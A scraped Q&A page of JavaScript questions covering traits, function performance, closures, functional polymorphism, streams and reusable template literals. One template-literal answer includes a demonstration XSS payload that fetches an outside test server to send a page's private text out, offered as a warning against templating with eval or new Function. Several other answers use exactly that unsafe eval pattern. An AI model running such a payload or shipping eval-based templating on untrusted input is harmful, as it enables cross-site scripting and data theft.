Traits in javascript [closed] - javascript

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
How can I implement traits in javascript ?

function Trait (methods) {
this.traits = [methods];
};
Trait.prototype = {
constructor: Trait
, uses: function (trait) {
this.traits = this.traits.concat (trait.traits);
return this;
}
, useBy: function (obj) {
for (var i = 0; i < this.traits.length; ++i) {
var methods = this.traits [i];
for (var prop in methods) {
if (methods.hasOwnProperty (prop)) {
obj [prop] = obj [prop] || methods [prop];
}
}
}
}
};
Trait.unimplemented = function (obj, traitName) {
if (obj === undefined || traitName === undefined) {
throw new Error ("Unimplemented trait property.");
}
throw new Error (traitName + " is not implemented for " + obj);
};
Example:
var TEq = new Trait ({
equalTo: function (x) {
Trait.unimplemented (this, "equalTo");
}
, notEqualTo: function (x) {
return !this.equalTo (x);
}
});
var TOrd = new Trait ({
lessThan: function (x) {
Trait.unimplemented (this, "lessThan");
}
, greaterThan: function (x) {
return !this.lessThanOrEqualTo (x);
}
, lessThanOrEqualTo: function (x) {
return this.lessThan (x) || this.equalTo (x);
}
, greaterThanOrEqualTo: function (x) {
return !this.lessThan (x);
}
}).uses (TEq);
function Rational (numerator, denominator) {
if (denominator < 0) {
numerator *= -1;
denominator *= -1;
}
this.numerator = numerator;
this.denominator = denominator;
}
Rational.prototype = {
constructor: Rational
, equalTo: function (q) {
return this.numerator * q.numerator === this.denominator * q.denominator;
}
, lessThan: function (q) {
return this.numerator * q.denominator < q.numerator * this.denominator;
}
};
TOrd.useBy (Rational.prototype);
var x = new Rational (1, 5);
var y = new Rational (1, 2);
[x.notEqualTo (y), x.lessThan (y)]; // [true, true]

There are different approaches and in the meantime production ready libraries as well.
Mixins are the oldest form of code reuse across class hierarchies. They need to be composed in linear order since the concept of Mixins does not cover/recognize conflict resolution functionality.
Traits are fine grained units of code reuse that work on class level too; but they are more flexible since Traits have to provide composition operators for combination, exclusion or aliasing of methods.
I do recommend reading 2 papers both are covering a library agnostic pure function based approach for Mixins / Traits / Talents.
A fresh look at JavaScript Mixins by Angus Croll from May 2011
The many talents of JavaScript for generalizing Role Oriented Programming approaches like Traits and Mixins from April 2014.
The pure function and delegation based mixin mechanics is as straightforward as provided with the next 2 given examples ...
var Enumerable_first = function () {
this.first = function () {
return this[0];
};
};
var list = ["foo", "bar", "baz"];
console.log("(typeof list.first)", (typeof list.first)); // "undefined"
Enumerable_first.call(list); // explicit delegation
console.log("list.first()", list.first()); // "foo"
... with the first example acting at "instance" level and the second one covering "class" level ...
var Enumerable_first_last = function () {
this.first = function () {
return this[0];
};
this.last = function () {
return this[this.length - 1];
};
};
console.log("(typeof list.first)", (typeof list.first)); // "function" // as expected
console.log("(typeof list.last)", (typeof list.last)); // "undefined" // of course
Enumerable_first_last.call(Array.prototype); // applying behavior to [Array.prototype]
console.log("list.last()", list.last()); // "baz" // due to delegation automatism
If one is in need for established and/or production ready libraries one should have a closer look on
traits.js
CocktailJS
so long
Appendix I
please see also:
stackoverflow.com :: How to use mixins properly in Javascript
stackoverflow.com :: Javascript Traits Pattern Resources
Appendix II
Since from time to time I'm apparently fiddle with this matter I wan't to add some final thoughts to it ...
The library agnostic approach without too much glue code (as mentioned above) does work only for very fine grained composable units of behavioral reuse. Thus, as long as one does not run into more than 1 or 2 easily resolvable conflicts, patterns based on e.g. Angus Croll's Flight Mixins are the path to follow.
If it comes to real traits, there has to be an abstraction level to it. This layer (e.g. provided as some sort of syntactic sugar like a DSL) needs to hide the complexity e.g. of composing traits from traits or of conflict resolution at a traits apply time (when a trait's behavior gets applied to an object/type).
By now there are 3 examples at SO that from my perspective provide exactly what the OP did ask for …
How can I implement traits in javascript ?
stackoverflow.com :: Compostions and mixins in JS
stackoverflow.com :: Mixins for ES6 classes, transpiled with babel
stackoverflow.com :: Refactoring legacy mixin-based class hierarchies
stackoverflow.com :: Multiple inheritance using classes

I seriously recommend you to checkout the trait.js library. They also have quite a good article about the general pattern as well as their concrete implementation. I have recently built in into my project and it works like a charm.

Related

TypeScript class function as function VS variable which has better performace

Is it better using variables which define a function or using a function in the first place?
Furthermore, is there a difference for tree-shaking?
I have a lot of calculation (static) intensive helper classes and was wondering what the best (memory/speed) is.
Here the different ways I have in mind:
class MyClass {
readonly functionA = (v: string | number, maxDeep: number, curDeep: number = 0): string => {
if (curDeep < maxDeep) {
return this.functionA(v, maxDeep, curDeep + 1);
} else {
return "function A" + v;
}
}
static functionB(v: string | number, maxDeep: number, curDeep: number = 0): string {
if (curDeep < maxDeep) {
return MyClass.functionB(v, maxDeep, curDeep + 1);
} else {
return "function B" + v;
}
}
functionC(v: string | number, maxDeep: number, curDeep: number = 0): string {
if (curDeep < maxDeep) {
return this.functionC(v, maxDeep, curDeep + 1);
} else {
return "function C" + v;
}
}
static readonly functionD = (v: string | number, maxDeep: number, curDeep: number = 0): string => {
if (curDeep < maxDeep) {
return MyClass.functionD(v, maxDeep, curDeep + 1);
} else {
return "function D" + v;
}
}
}
I tried using JSBen for measuring a difference but the results seem to be random.
If you are that concerned about performance to optimize at this level, then having a class that only has static methods introduces some totally unnecessary overhead. Classes are designed to be instantiated, and if you don't use that feature you are wasting some computational resources to have those features available.
When I run your examples (MacOS, Chrome 90.0.4430.93) I get this:
What's clear is that static methods have a large performance costs. Where instance methods are guaranteed to be fast. I wish I could tell you why, but I'm sure it has something to do with the fact that classes are design to be instantiated.
Much simpler than that, is a simple object. Let's add these two tests:
const obj = {
functionE(v, maxDeep, curDeep = 0) {
//...
},
functionF: (v, maxDeep, curDeep = 0) => {
//...
}
};
Those run just about as fast as the instance methods. And it's a pattern that makes more sense. There's no classes because there is no instantiation.
But there's an even simpler alternative:
function rawFunctionStatementG(v, maxDeep, curDeep = 0) {
//...
}
const rawFunctionVarH = (v, maxDeep, curDeep = 0) => {
//...
};
Performance wise, we have a winner here. I'm fairly sure this is because you never have to look up a property on an object. You have a reference to the function directly, and can execute it without asking any other object where to find it first.
Updated jsben.ch
And as far as tree shaking, this form is by far the best. It's easiest for bundlers to manage whole exported values, rather than trying to slice and dice individual objects.
If you do something like:
// util-fns.ts
export function myFuncA() { /* ... */ }
export function myFuncB() { /* ... */ }
// some consumer file
import { myFuncA } from './util-fns'
Then it's super easy for a bundler to see that myFuncB is never imported or referenced, and could be potentially pruned.
Lastly...
“The real problem is that programmers have spent far too much time worrying about efficiency in the wrong places and at the wrong times; premature optimization is the root of all evil (or at least most of it) in programming.” – Donald Knuth
It's very unlikely for performance optimizations of this level to matter in the vast majority of javascript applications. So use the data structures that make the most sense for the application, and according to the standards of the codebase/organization. Those things matter so much more.

Advice on how best to approach three quandaries using closures/composition

Context
In my quest to improve my JavaScript skillset; I've begun reading an enlightening book called Functional Javascript by Michael Fogus. The 1st chapter has already stretched me far beyond my current proficiency.
Below is my first attempt at closures and scope chain. Frustratingly the below has taken me north of 5 hours to get working.
I'd love to understand and learn from individuals who have a more excellent grasp than me, regarding:
Using the scope closure chain - ostensibly is the last return function always this complex; with almost the entire workings encapsulated here? Or am I missing a trick?
What is the best way to abstract/compose a means of cleaning up all of the return/console.log outputs into a clean display function, templates or method - apologies I am not sure how best to express that question.
What is the cleanest way of sharing findMin between the two f's? Whilst maintaining the composition? The i in i*(am)/m needs to move depending on which formula is required. Literally i(am)/m or r(i*m)/m.
function dash(formula) {
let m = 1000;
let target = 25;
return function(rate) {
return function(numAds) {
let i = 0;
onTarget = () => (rate*(numAds*m)/m)>target;
findMin = () => {
while ((i*(numAds*m)/m)<target) {
i += 0.01;
}
return `Corrected Using: ${i.toFixed(2)} Now: ${(i*(numAds*m)/m).toFixed(2)}`;
};
if (formula=='cpm') {
return (onTarget()) ? `Perfect First Time: ${(rate*(numAds*m)/m).toFixed(2)}` : findMin(i);
} else if (formula=='ad') {
return (onTarget()) ? `Perfect First Time: ${(rate*(numAds*m)/m).toFixed(2)}` : findMin(i);
};
};
};
};
let cpm = dash('cpm')(1.00)(7);
console.log(cpm);
let ads = dash('ad')(2.30)(13);
console.log(ads);
Whilst not addressing the three questions, I have acknowledged two suggestions notably i) using toFixed ii) making my formula elements more meangingful.

Javascript polymorphism without OOP classes

In JS or OOP language the polymorhpism is created by making different types.
For example:
class Field {...}
class DropdownField extends Field {
getValue() {
//implementation ....
}
}
Imagine I have library forms.js with some methods:
class Forms {
getFieldsValues() {
let values = [];
for (let f of this.fields) {
values.push(f.getValue());
}
return values;
}
}
This gets all field values. Notice the library doesnt care what field it is.
This way developer A created the library and developer B can make new fields: AutocompleterField.
He can add methods in AutocompleterField withouth changing the library code (Forms.js) .
If I use functional programming method in JS, how can I achieve this?
If I dont have methods in object i can use case statements but this violates the principle. Similar to this:
if (field.type == 'DropdownField')...
else if (field.type == 'Autocompleter')..
If developer B add new type he should change the library code.
So is there any good way to solve the issue in javascript without using object oriented programming.
I know Js isnt exactly OOP nor FP but anyway.
Thanks
JavaScript being a multi-purpose language, you can of course solve it in different ways. When switching to functional programming, the answer is really simple: Use functions! The problem with your example is this: It is so stripped down, you can do exactly the same it does with just 3 lines:
// getValue :: DOMNode -> String
const getValue = field => field.value;
// readForm :: Array DOMNode -> Array String
const readForm = formFields => formFields.map(getValue);
readForm(Array.from(document.querySelectorAll('input, textarea, select')));
// -> ['Value1', 'Value2', ... 'ValueN']
The critical thing is: How is Field::getValue() implemented, what does it return? Or more precisely: How does DropdownField::getValue() differ from AutocompleteField::getValue() and for example NumberField::getValue()? Do all of them just return the value? Do they return a pair of name and value? Do they even need to be different?
The question is therefor, do your Field classes and their inheriting classes differ because of the way their getValue() methods work or do they rather differ because of other functionality they have? For example, the "autocomplete" functionality of a textfield isn't (or shouldn't be) tied to the way the value is taken from it.
In case you really need to read the values differently, you can implement a function which takes a map/dictionary/object/POJO of {fieldtype: readerFunction} pairs:
/* Library code */
// getTextInputValue :: DOMNode -> String
const getTextInputValue = field => field.value;
// getDropdownValue :: DOMNode -> String
const getDropdownValue = field => field.options[field.selectedIndex].value;
// getTextareaValue :: DOMNode -> String
const getTextareaValue = field => field.textContent;
// readFieldsBy :: {String :: (a -> String)} -> DOMNode -> Array String
readFieldsBy = kv => form => Object.keys(kv).reduce((acc, k) => {
return acc.concat(Array.from(form.querySelectorAll(k)).map(kv[k]));
}, []);
/* Code the library consumer writes */
const readMyForm = readFieldsBy({
'input[type="text"]': getTextInputValue,
'select': getDropdownValue,
'textarea': getTextareaValue
});
readMyForm(document.querySelector('#myform'));
// -> ['Value1', 'Value2', ... 'ValueN']
Note: I intentionally didn't mention things like the IO monad here, because it would make stuff more complicated, but you might want to look it up.
In JS or OOP language the polymorhpism is created by making different types.
Yes. Or rather, by implementing the same type interface in different objects.
How can I use Javascript polymorphism without OOP classes
You seem to confuse classes with types here. You don't need JS class syntax to create objects at all.
You can just have
const autocompleteField = {
getValue() {
…
}
};
const dropdownField = {
getValue() {
…
}
};
and use the two in your Forms instance.
Depends on what you mean by "polymorphism". There's the so-called ad-hoc polymorphism which type classes in Haskell, Scala, or PureScript provide -- and this kind of dispatch is usually implemented by passing witness objects along as additional function arguments, which then will know how to perform the polymorphic functionality.
For example, the following PureScript code (from the docs), which provides a show function for some types:
class Show a where
show :: a -> String
instance showString :: Show String where
show s = s
instance showBoolean :: Show Boolean where
show true = "true"
show false = "false"
instance showArray :: (Show a) => Show (Array a) where
show xs = "[" <> joinWith ", " (map show xs) <> "]"
example = show [true, false]
It gets compiled to the following JS (which I shortened):
var Show = function (show) {
this.show = show;
};
var show = function (dict) {
return dict.show;
};
var showString = new Show(function (s) {
return s;
});
var showBoolean = new Show(function (v) {
if (v) {
return "true";
};
if (!v) {
return "false";
};
throw new Error("Failed pattern match at Main line 12, column 1 - line 12, column 37: " + [ v.constructor.name ]);
});
var showArray = function (dictShow) {
return new Show(function (xs) {
return "[" + (Data_String.joinWith(", ")(Data_Functor.map(Data_Functor.functorArray)(show(dictShow))(xs)) + "]");
});
};
var example = show(showArray(showBoolean))([ true, false ]);
There's absolutely no magic here, just some additional arguments. And at the "top", where you actually know concrete types, you have to pass in the matching concrete witness objects.
In your case, you would pass around something like a HasValue witness for different forms.
You could use a the factory pattern to ensure you follow the open close principle.
This principle says "Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification".
class FieldValueProviderFactory {
getFieldValue(field) {
return this.providers.find(p => p.type === field.type).provider(field);
}
registerProvider(type, provider) {
if(!this.providers) {
this.providers = [];
}
this.providers.push({type:type, provider:provider});
}
}
var provider = new FieldValueProviderFactory();
provider.registerProvider('DropdownField', (field) => [ 1, 2, 3 ]);
provider.registerProvider('Autocompleter', (field) => [ 3, 2, 1 ]);
class FieldCollection {
getFieldsValues() {
this.fields = [ { type:'DropdownField',value:'1' }, { type:'Autocompleter',value:'2' } ];
let values = [];
for (let field of this.fields) {
values.push(provider.getFieldValue(field));
}
return values;
}
}
Now when you want to register new field types you can register a provider for them in the factory and don't have to modify your field code.
new Field().getFieldsValues();

Are Java's Streams like JavaScript's Arrays? [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
I try to build the Javascript equvivalent for Java's IntStream.range(0, 5).forEach(System.err::println); and reached
const IntStream = (function () {
function range(start, end, numbers = []) {
if (start === end) {
return numbers
}
return range(start + 1, end, numbers.concat(start))
}
return {
range
}
})()
IntStream.range(0, 5).forEach(number => console.log(number))
All the stream magic of Java is builtin in a normal JavaScript array. Why can't an ArrayList in Java do all same things as a Stream or is there a purpose I didn't figure out yet?
Array higher order functions will eagerly do the whole thing at each step.
const isOdd = v => v % 2 == 1;
const multiply = by => v => v * by;
const arrRange = IntStream.range(10, 20);
const arrOdd = arrRange.filter(isOdd);
const arrOddM3 = arrOdd.map(multiply(3));
Here all the bindings are distinct arrays created by each of the steps. Even when you chain them the intermediate arrays are always made and the whole array at each step need to be finished before the next can begin.
const arrOddM3 = IntStream.range(10, 20).filter(isOdd).map(multiply(3));
arrOddM3; // ==> [33, 39, 45, 51, 57]
Streams are different since they only compute values when they are accessed. A stream version would look very similar.
const streamOddM3 = Stream.range(10, Infinity).filter(isOdd).map(multiply(3));
streamOddM3; // ==> Stream
Notice I have changed the end to go to infinity. I can do that because at most it calculates the very first value and some implementations doesn't do any calculations at all until you ask for the values. To force the calculations you can take some values and get them returned as an array:
streamOddM3.take(3); // ==> [33, 39, 45]
Here is a Stream implementation loosely based on the one from the SICP videos which work similar to Java's streams.
class EmptyStream {
map() {
return this;
}
filter() {
return this;
}
take() {
return [];
}
}
class Stream extends EmptyStream {
constructor(value, next) {
super();
this._next = next;
this.value = value;
}
/**
* This prevents the value to be computed more than once
* #returns {EmptyStream|Stream}
*/
next() {
if( ! (this._next instanceof EmptyStream) ) {
this._next = this._next();
}
return this._next;
}
map(fn) {
return new Stream(fn(this.value), () => this.next().map(fn));
}
filter(fn) {
return fn(this.value) ?
new Stream(this.value, () => this.next().filter(fn)) :
this.next().filter(fn);
}
take(n) {
return n == 0 ? [] : [this.value, ...this.next().take(n && n - 1)];
}
static range(from, to, step = 1) {
if (to !== undefined && ( step > 0 && from > to || step < 0 && from < to )) {
return Stream.emptyStream;
}
return new Stream(from, () => Stream.range(from + step, to, step));
}
}
Stream.emptyStream = new EmptyStream();
There are alternatives to Stream that might work in their place.
In JavaScript you have generators (aka coroutines) and you can make a map and filter generator function that takes a generator source and becomes a new generator with that transformation. Since it is already in the language it might be a better match than Streams but I haven't studied it enough to make a generator example of the above.
In Clojure you have transducers that allows you to compose steps so that an eventual list making only happens for the elements that makes it to the final result. They are easily implemented in JavaScript.
Theres a big difference between Streams and Javasvript arrays:
[1,2,3,4]
.filter(el => {
console.log(el);
return el%2 === 0;
})
.forEach( el => console.log(el));
The result in javascript will be:
1,2,3,4 2,4
for a Stream it will be:
1,2 2 3,4 4
So as you can see javascript mutates the collection, then iterates the collection. An element passed into a Stream traverses the stream. If a collection is passed to a Stream, one element after another will be passed in the stream.
A possible Stream implementation would be:
class Stream {
constructor(){
this.queue = [];
}
//the modifying methods
forEach(func){
this.queue.push(["forEach",func]);
return this;
}
filter(func){
this.queue.push(["filter",func]);
return this;
}
map(func){
this.queue.push(["map",func]);
return this;
}
subStream(v){
this.forEach(d => v.get(d));
return this;
}
//data methods
get(value,cb){
for( let [type,func] of this.queue ){
switch(type){
case "forEach":
func(value);
break;
case "map":
value = func(value);
break;
case "filter":
if(! func(value)) return;
}
}
cb(value);
}
range(start,end){
const result = [];
Array.from({length:end-start})
.forEach((_,i)=> this.get(i+start, r => result.push(r)));
return result;
}
}
Usecase:
const nums = new Stream();
const even = new Stream();
even.filter(n => !(n%2) ).forEach(n => console.log(n));
const odd = new Stream();
even.filter(n => (n%2) ).forEach(n => console.log(n));
nums
.subStream(even)
.subStream(odd)
.range(0,100);
No they are not the same because of how they proccess the data.
In LINQ (C#) or javascript, each operation on a collection must end befor calling to the next operation in the pipeline.
In streams, its different. For example:
Arrays.asList(1,2,3).stream()
.filter((Integer x)-> x>1)
.map((Integer x)->x*10)
.forEach(System.out::println);
source collection: 1, 2 ,3
filter(1) -> You are not OK. Element 1 will not pass to the next operation
in the pipeline. Now deal with element 2.
filter(2) -> You are OK. element 2 pass to the next operation.
map(2) -> create new element 20 and put it in the new stream.
forEach(20) -> print 20. End dealing with element 2 in the source collection.
Now deal with element 3.
filter(3) -> You are OK. element 3 pass to the next operation
map(3) -> create new element 30 and put it in the new stream.
forEach(20) -> print 30. No more elements in the source collection.
finish excuting the stream.
output:
20
30
Illustration:
One of the outcome of this approach is sometimes some operations in the pipeline won't go over each element because some of them filtered out in the proccess.
This explanation were taken from: Streams In Depth By Stav Alfi

Can ES6 template literals be substituted at runtime (or reused)?

tl;dr: Is it possible to make a reusable template literal?
I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.
All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.
Everyone cites a horrible example similar to:
var a = 'asd';
return `Worthless ${a}!`
That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?
Am I missing something? Is there a (good) way to make a reusable template literal?
I give you, reusable template literals:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
And here is a naive "helper" function...
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...to make it "better".
I'm inclined to call them template guterals because of the area from which they produce twisty feelings.
To make these literals work like other template engines there needs to be an intermediary form.
The best way to do this is to use the Function constructor.
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
As with other template engines, you can get that string from other places like a file.
Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.
You can put a template string in a function:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
You can do the same thing with a tagged template:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.
Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
...And for tagged template literals:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.
Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.
Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
Instead you can safely insert object obj fields to template str in dynamic way as follows
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);
Simplifying the answer provided by #metamorphasi;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
In 2021 came the most straightforward solution yet.
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
It is almost the same as just writing and reusing a template literal (what the OP was wanting).
You can tweak things from here...
2019 answer:
Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.
The es6-dynamic-template module on npm does this.
const fillTemplate = require('es6-dynamic-template');
Unlike the current answers:
It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
It doesn't need this in the template string
You can specify the template string and variables in a single function
It's a maintained, updatable module, rather than copypasta from StackOverflow
Usage is simple. Use single quotes as the template string will be resolved later!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Am I missing something? Is there a [good] way to make a reusable template literal?
Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.
I have an almost one-liner for it:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'
console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");
Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.
Extended answer
This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:
Make use of original parameters:
You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'
console.log(a);
Write a template factory:
Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.
Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...
With this naïve (I repeat, naïve!) sql template we could build queries like this:
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
console.log(a);
Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.
Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.
Resolve parameters within global namespace at call site:
I give you, reusable template literals:
Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.
If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.
Example of how you could call such a template:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
The Template function:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.
Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template
The short answer is just use _.template in lodash
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
Thanks to #Quentin-Engles with the excellent idea and the top answer, that got me started!
But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.
If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…
here we go:
fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}
In general I'm against using the evil eval(), but in this case it makes sense:
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
Then if you change the values and call eval() again you get the new result:
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
If you want it in a function, then it can be written like so:
function populate(a, b){
return `${a}.${b}`;
}
You could just use a one-liner tagged template, like:
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
and in client code your consume it like:
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
